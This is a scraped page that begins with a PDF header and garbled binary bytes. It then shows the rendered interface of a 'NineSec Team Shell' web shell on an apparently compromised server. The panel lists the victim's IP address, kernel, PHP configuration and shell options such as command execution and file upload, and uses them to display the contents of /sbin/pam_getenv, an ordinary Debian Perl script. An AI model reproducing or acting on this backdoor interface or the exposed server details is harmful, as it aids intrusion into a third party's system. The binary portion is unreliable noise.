%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.168
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User :  ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //sbin/pam_getenv
#!/usr/bin/perl -w

=head1 NAME

pam_getenv - get environment variables from /etc/environment

=head1 SYNOPSIS

pam_getenv B<[-l] [-s]> I<env_var>

=head1 DESCRIPTION

This tool  will print out the value of I<env_var> from F</etc/environment>.  It will attempt to expand environment variable references in the definition of I<env_var> but will fail if PAM items are expanded.

The B<-l> option indicates the script should return an environment variable related to default locale information.

The B<-s> option indicates that the script should return an
system default environment variable.

Currently neither the B<-l> or B<-s> options do anything.  They are
included because future versions of Debian may have a separate
repository for the initial environment used by init scripts and for
system locale information.  These options will allow this script to be
a stable interface even in that environment.

=cut

# Copyright 2004 by Sam Hartman
# This script may be copied under the terms of the GNU GPL
# version 2, or at your option any later version.

use strict;
use vars qw(*CONFIGFILE *ENVFILE);

sub read_line($) {
  my $fh = shift;
  my $line;
  local $_;
  line: while (<$fh>) {
    chomp;
    s/^\s+//;
s/\#.*$//;
    next if $_ eq "";
    if (s/\\\s*$//) {
      $line .= $_;
      next line;
    }

    $line .= $_;
    last;
  }
  $line;
  
}


sub parse_line($) {
  my $var;
  my (%x, @x);
  local $_ = shift;
  return undef unless defined $_ and s/(\S+)\s//;
  $var->{Name} = $1;
  s/^\s*//;
  @x = split(/=([^"\s]\S*|"[^"]*")\s*/, $_);
  unless (scalar(@x)%2 == 0) {
    push @x, undef;
  }
  %x = @x;
  @{$var}{"Default", "Override"} =
    @x{"DEFAULT", "OVERRIDE"};
  $var;
}

sub expand_val($) {
  my ($val) = @_;
return undef unless $val;
	die "Cannot handle PAM items\n" if /(?<!\\)\@/;
  $val =~ s/(?<!\\)\$\{([^}]+)\}/$ENV{$1}||""/eg;
  return $val;
}

my $lookup;

while ($_ = shift) {
  next if $_ eq "-s";
  next if $_ eq "-l";
  $lookup = $_;
  last;
}
unless (defined $lookup) {
  die "Usage: pam_getenv [-l] [-s] env_var\n";
}

my %allvars;

open (CONFIGFILE, "/etc/security/pam_env.conf")
  or die "Cannot open environment file: $!\n";

while (my $var = parse_line(read_line(\*CONFIGFILE))) {
  my $val;
  unless ($val = expand_val($var->{Override})) {
    $val = expand_val($var->{Default});
  }
  $allvars{$var->{Name}} = $val;
}

if (open (ENVFILE, "/etc/environment")) {
  while (my $line = read_line(\*ENVFILE)) {
    $line =~ s/^export //;
    $line =~ /(.*?)=(.+)/ or next;
    my ($var, $val) = ($1, $2);
    # This is bizarre logic (" and ' match each other, quotes are only
    # significant at the start and end of the string, and the trailing quote
    # may be omitted), but it's what pam_env does.
    $val =~ s/^["'](.*?)["']?$/$1/;
    $allvars{$var} = $val;
  }
}

if (exists $allvars{$lookup}) {
  print $allvars{$lookup}, "\n";
  exit(0);
}

NineSec Team - 2022